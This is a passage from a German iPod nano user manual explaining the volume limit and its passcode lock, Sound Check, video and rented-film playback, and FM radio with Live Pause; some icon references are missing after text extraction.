geändert werden kann. Zubehör, das über den Lightning-Anschluss angeschlossen wird, unterstützt keine Obergrenzen für die Lautstärke.
Eine Obergrenze für die Lautstärke für den iPod nano einstellen
1 Tippen Sie im Home-Bildschirm auf „Einstellungen“ > „Allgemein“ > „Maximale Lautstärke“.
Der Lautstärkeregler zeigt die maximale Lautstärke an.
2 Bewegen Sie den Regler nach links, um die maximale Lautstärke zu verringern, bzw. nach rechts,
um die Obergrenze zu erhöhen.
Hinweis: In einigen Ländern können Sie die Obergrenze für die Lautstärke eines Headsets auf
den von der EU empfohlenen Wert einstellen. Tippen Sie auf „Einstellungen“ > „Musik“ und dann
auf den Schalter im Abschnitt „Max. Lautstärke (EU)“, um die Einstellung zu aktivieren.
Festlegen, dass zum Ändern der maximalen Lautstärke eine Zahlenkombination eingegeben
werden muss
1 Legen Sie die maximale Lautstärke fest und tippen Sie anschließend auf „Maximale Lautstärke
sperren“.
2 Geben Sie im angezeigten Bildschirm eine vierstellige Zahlenkombination ein.
Wenn Sie versehentlich auf eine Zahl getippt haben, tippen Sie auf und dann auf die
gewünschte Zahl
Durch wiederholtes Tippen auf können Sie alle Zahlen löschen und zum Bildschirm zum
Einstellen der Maximallautstärke zurückkehren, ohne einen Zahlencode festzulegen.Kapitel 4 Musik und andere Audiodateien 28
3 Geben Sie die Zahlen erneut ein, wenn Sie aufgefordert werden, den Zahlencode noch
einmal einzugeben.
Die Obergrenze für die Lautstärke löschen
1 Tippen Sie im Home-Bildschirm auf „Einstellungen“ > „Allgemein“ > „Maximale Lautstärke“.
2 Bewegen Sie den Regler ganz nach rechts.
Haben Sie einen Zahlencode festgelegt, tippen Sie zunächst auf „Maximale Lautstärke entsperren“, geben die Zahlenkombination ein und bewegen dann den Regler.
Wenn Sie den Code vergessen haben, können Sie Ihren iPod nano zurücksetzen. Vgl.
Aktualisieren und Wiederherstellen der iPod-Software auf Seite 66.
Abspielen von Musiktiteln mit einer konstanten Lautstärke
Die Lautstärke von Musiktiteln und anderem Tonmaterial kann je nach Art der Aufnahme
und Codierung variieren. Die Lautstärke kann auch abhängig von den verwendeten Ohr- und
Kopfhörern unterschiedlich sein.
Sie können iTunes so konfigurieren, dass die Lautstärke der Titel automatisch angepasst wird,
damit sie alle mit derselben relativen Lautstärke abgespielt werden. Sie können den iPod nano
auch so einstellen, dass er dieselben Lautstärkeeinstellungen wie iTunes verwendet.
Festlegen, dass Musiktitel mit der gleichen Lautstärke wiedergegeben werden
1 Öffnen Sie iTunes und wählen Sie „iTunes“ > „Einstellungen“, wenn Sie einen Mac verwenden,
oder „Bearbeiten“ > „Einstellungen“, wenn Sie einen Windows-PC verwenden.
2 Klicken Sie auf „Wiedergabe“ und wählen Sie „Lautstärke anpassen“. Klicken Sie dann auf „OK“.
3 Tippen Sie im Home-Bildschirm auf „Einstellungen“.
4 Tippen Sie auf „Musik“.
5 Tippen Sie auf neben der Option „Lautstärke anpassen“, um sie zu aktivieren.
Wenn Sie die Option „Lautstärke anpassen“ in iTunes nicht aktiviert haben, hat das Einstellen
dieser Option auf dem iPod nano keine Auswirkung.
Wenn Sie in iTunes einem Musiktitel eine Equalizer-Einstellung zugewiesen haben und der
iPod nano Equalizer deaktiviert ist, wird für die Wiedergabe des Titels die iTunes-Einstellung
verwendet. Sie können einen Equalizer-Einstellung festlegen, indem Sie auf dem iPod nano
„Einstellungen“ > „Musik“ wählen.5
29
Auf dem iPod nano können Sie Filme, Musikvideos, Video-Podcasts, iTunes U-Programme und
Fernsehsendungen in iTunes ansehen. Filme, die Sie in iMovie aufgenommen haben, können Sie
für die Anzeige auf dem iPod nano konvertieren.
ACHTUNG: Wichtige Informationen zum Vermeiden von Hörschäden finden Sie unter
Kapitel 14, Sicherheit und Handhabung, auf Seite 68.
Hinzufügen von Videos auf dem iPod nano
Das Hinzufügen von Videos auf den iPod nano mithilfe von iTunes funktioniert ähnlich wie das
Hinzufügen von Musiktiteln. Informationen zum Synchronisieren mit iTunes finden Sie unter
Konfigurieren der iTunes-Synchronisierung auf Seite 16.
Neben iTunes-Videos können Sie auch andere Typen von Videos auf dem iPod nano hinzufügen.
Sie können beispielsweise Videos hinzufügen, die Sie in iMovie auf einem Mac erstellt oder aus
dem Internet geladen haben. Wird eine Meldung angezeigt, dass das Video auf dem iPod nano
nicht wiedergegeben werden kann, können Sie das Video möglicherweise konvertieren (vgl.
iTunes-Hilfe).
Der iPod nano unterstützt SD-Videos (Standard Definition). HD-Videos werden nicht mit dem
iPod nano synchronisiert.
Wiedergeben von Videos auf dem iPod nano
Filme, Fernsehsendungen, Musikvideos und andere Videos, die Sie auf dem iPod nano hinzugefügt haben, werden im Menü „Videos“ nach Typ sortiert angezeigt.
Video auf dem iPod nano abspielen
m Tippen Sie im Home-Bildschirm auf „Video“ und dann auf ein im Menü angezeigtes Video.
Zum Einblenden
der Bedienelemente
für Videos auf
Bildschirm tippen
Titelposition
VideosKapitel 5 Videos 30
Hier einige Steuerungsmöglichkeiten für die Videowiedergabe:
Ein- oder Ausblenden der Bedienelemente für
die Wiedergabe
Tippen Sie während der Wiedergabe des Videos auf
den Bildschirm.
Anhalten oder Fortsetzen der Wiedergabe Tippen Sie auf , auf oder drücken Sie die Start/
Pause-Taste (zwischen den Lautstärketasten).
Starten der Wiedergabe vom Anfang Enthält das Video Kapitel, bewegen Sie die
Abspielposition auf dem Bedienelement für die
Titelposition ganz nach links. Sind keine Kapitel vorhanden, tippen Sie auf .
Wurde das Video in der Videowiedergabeliste weniger
als fünf Sekunden lang abgespielt, wird das vorherige
Video in Ihrer Wiedergabeliste geöffnet. Andernfalls
wird die Videoliste geöffnet.
Wechseln zum vorherigen Video oder Filmkapitel Tippen Sie zweimal auf .
Wechseln zum nächsten Video oder Filmkapitel Tippen Sie auf oder drücken Sie die Start/PauseTaste (zwischen den Lautstärketasten) zweimal.
Schneller Vor-/Rücklauf eines Musiktitels Legen Sie den Finger auf oder auf .
Wechseln zu einer beliebigen Stelle in einem Video Bewegen Sie die Abspielposition auf dem
Bedienelement für die Titelposition. Streichen Sie
mit dem Finger nach unten, um die ScrubbingGeschwindigkeit zu verringern, um eine höhere
Präzision zu erreichen. Je weiter Sie mit dem Finger
nach unten streichen, desto genauer lässt sich die
Geschwindigkeit regulieren.
Wechseln zum nächsten Kapitel Tippen Sie auf oder drücken Sie die Start/PauseTaste (zwischen den Lautstärketasten) zweimal. (Nicht
immer verfügbar.)
Wechseln zum vorherigen Kapitel Tippen Sie zweimal auf . (Nicht immer verfügbar.)
Wechseln zu einem bestimmten Kapitel Tippen Sie auf , und wählen Sie ein Kapitel. (Nicht
immer verfügbar.)
Wird rechts neben den Videobedienelementen ein Bluetooth-Symbol angezeigt, können Sie den
Film über Bluetooth-Kopfhörer oder -Lautsprecher anhören. Weitere Informationen finden Sie
unter Anschließen von Bluetooth-Zubehör auf Seite 59
Sie können Untertitel aktivieren oder deaktivieren und auswählen, an welcher Stelle angehaltene
Videos wieder abgespielt werden. Wählen Sie hierzu „Einstellungen“ > „Video“ .
Wiedergeben von ausgeliehenen Filmen
Sie können Filme in iTunes kaufen oder ausleihen und sie mit dem iPod nano synchronisieren
(ausgeliehene Filme sind möglicherweise nicht in allen Regionen verfügbar). Filme mit Kapiteln
verfügen über zusätzliche Bedienelemente, mit denen Sie das Kapitel auswählen können, das Sie
ansehen wollen.
Wichtig: Sie können einen ausgeliehenen Film nur auf jeweils einem Gerät ansehen. Wenn Sie
also beispielsweise einen Film im iTunes Store ausleihen und ihn auf den iPod nano übertragen,
können Sie diesen Film nur auf dem iPod nano ansehen. Wenn Sie den Film nach iTunes zurück-
übertragen, können Sie ihn nur auf dem Computer ansehen, aber nicht mehr auf dem iPod nano.
Bitte achten Sie darauf, wann die Leihfrist abläuft.Kapitel 5 Videos 31
Einen ausgeliehenen Film wiedergeben
1 Tippen Sie im Home-Bildschirm auf „Videos“ > „Ausgeliehen“.
2 Tippen Sie im angezeigten Fenster auf „OK“.
Nach dem Starten der Wiedergabe können Sie einen ausgeliehenen Film 24 Stunden lang ansehen. Wenn Sie nicht glauben, dass Sie den Film in den nächsten 24 Stunden ansehen können,
tippen Sie auf „Abbrechen“.
Sie können die Filmwiedergabe stoppen und später fortsetzen. Die verbleibende Zeit der
Ausleihfrist wird unter dem Filmtitel im Menü „Videos“ angezeigt.
3 Tippen Sie auf „Fertig“, wenn Sie den Film angesehen haben.
4 Streichen Sie nach unten und tippen Sie oben im Bildschirm auf „Bearbeiten“.
5 Tippen Sie auf neben dem Filmtitel im Menü „Ausgeliehen“ und dann auf „Löschen“.
Bei Filmen mit Untertiteln oder erweiterten Untertiteln legen Sie die Sprache in iTunes fest.
Weitere Informationen hierzu finden Sie in der iTunes-Hilfe.6
32
Sie können auf dem iPod nano FM-Radiosendungen anhören und Ihre Lieblings-Radiosender
einstellen, sodass sie schnell finden können. Mit der Funktion „Live-Pause“ können Sie Live-
Übertragungen von Sendungen anhalten und nach bis zu 15 Minuten fortsetzen. Mithilfe der
Live-Pause-Bedienelemente können Sie in angehaltenen Inhalten vor- und zurückspulen und
die gewünschte Stelle finden. Bei Radiosendern, die diese Funktion unterstützen, können Sie
Musiktitel kennzeichnen und im iTunes Store dann eine Hörprobe abspielen und die Titel kaufen.
ACHTUNG: Wichtige Informationen zum Vermeiden von Hörschäden finden Sie unter
Kapitel 14, Sicherheit und Handhabung, auf Seite 68.
Anhören von FM-Radiosendungen
Der iPod nano verwendet das Ohrhörer- oder Kopfhörerkabel als Antenne. Daher müssen Sie
EarPods oder Kopfhörer an den iPod nano anschließen, um ein Radiosignal empfangen zu
können. Achten Sie für einen besseren Empfang darauf, dass das Kabel nicht verknotet oder
abgeknickt ist.
Wichtig: Die in diesem Kapitel angegebenen Funkfrequenzen dienen nur zur Veranschaulichung
und sind nur in bestimmten Regionen verfügbar.
Live-Pause-Bedienelement
Radio-Tuner
Bedienelemente
für die Wiedergabe
Zum Einblenden der
Live-Pause-Bedienelemente
auf Bildschirm tippen
Radio hören
1 Schließen Sie EarPods oder Kopfhörer an den iPod nano an.
2 Tippen Sie im Home-Bildschirm auf „Radio“ und dann auf .
Unterstützt der Sender RDS (Radio Data System), werden auf dem Bildschirm Informationen zu
Titel, Interpret und Sender angezeigt.
FM-RadiosendungenKapitel 6 FM-Radiosendungen 33
Verwendungsmöglichkeiten der Bedienelemente für das Radio:
Stoppen und Fortsetzen von Live-Radiosendungen Drücken Sie die Start/Pause-Taste (zwischen den
Lautstärketasten). Wenn Sie die taste erneut drü-
cken, wird die Wiedergabe an der Stelle fortgesetzt,
an der sie unterbrochen wurde. Tippen Sie auf
den Bildschirm „Sie hören“, um die Live-PauseBedienelemente und weitere Optionen einzublenden
und die Live-Sendung fortzusetzen (vgl. Anhalten von
Live-Radiosendungen auf Seite 33).
Manuelles Auswählen eines FM-Radiosenders Streichen Sie über den Radio-Tuner.
Wechseln zum nächsten einstellbaren
FM-Radiosender
Tippen Sie auf oder drücken Sie die Start/
Pause-Taste (zwischen den Lautstärketasten) zweimal.
Suchen nach FM-Radiosendern Legen Sie den Finger auf oder , bis auf dem
Bildschirm „Sendersuche“ angezeigt wird. Tippen Sie
auf den Bildschirm, um die Sendersuche zu stoppen.
Sichern von FM-Radiosendern als Favoriten Stellen Sie den Sender ein und tippen Sie auf . Das
Symbol ändert sich in .
Als Favorit gesicherte Sender werden im Radio-Tuner
mit einem gelben Dreieck markiert.
Entfernen eines FM-Radiosenders aus den Favoriten Stellen Sie den Sender ein und tippen Sie auf .
Kennzeichnen eines Titels im Radio Tippen Sie auf im Bildschirm „Sie hören“. Das
Kennzeichnen ist nur bei Radiosendern verfügbar, die
diese Funktion unterstützen.
Ausschalten des Radios Tippen Sie auf oder trennen Sie die Verbindung zu
den EarPods bzw. Kopfhörern.
Anhalten von Live-Radiosendungen
Sie können eine Radiosendung anhalten und innerhalb von 15 Minuten weiter abspielen.
Wenn Live-Pause in den Einstellungen aktiviert ist (das ist standardmäßig der Fall), können Sie
eine Live-Sendung bis zu 15 Minuten lang anhalten. Wenn die maximale Pausendauer von
15 Minuten erreicht ist, wird die Sendung fortgesetzt und die Inhalte, die älter als 15 Minuten
sind, werden gelöscht.
Eine gestoppte Radiosendung wird gelöscht, wenn eine der folgenden Situationen eintritt:
• Sie wählen einen anderen Sender.
• Sie schalten den iPod nano aus.
• Sie spielen andere Inhalte ab oder zeichnen ein Sprachmemo auf.
• Die Batterieladung ist sehr niedrig und die Batterie muss geladen werden.
• Sie setzen die Wiedergabe der Sendung nach einer Pause von 15 Minuten nicht fort.
Die Live-Pause-Bedienelemente bieten mehr Möglichkeiten, angehaltene Sendungen fortzusetzen und auf das Menü „Radio“ zuzugreifen.
Anzeigen der Live-Pause-Bedienelemente
m Tippen Sie während der Wiedergabe auf den Radiobildschirm.
Ein Bedienelement zeigt an, wo die Sendung gestoppt wurde. Der Statusbalken bewegt sich und
zeigt an, wie viel Zeit seit dem Stopp vergangen ist.Kapitel 6 FM-Radiosendungen 34
Steuerungsmöglichkeiten für die Wiedergabe angehaltener Radiosendungen:
Starten der Wiedergabe an an der Stelle, an der sie
unterbrochen wurde
Tippen Sie auf oder drücken Sie die Start/PauseTaste (zwischen den Lautstärketasten).
Die Wiedergabe in 30-Sekunden-Schritten
zurückspulen
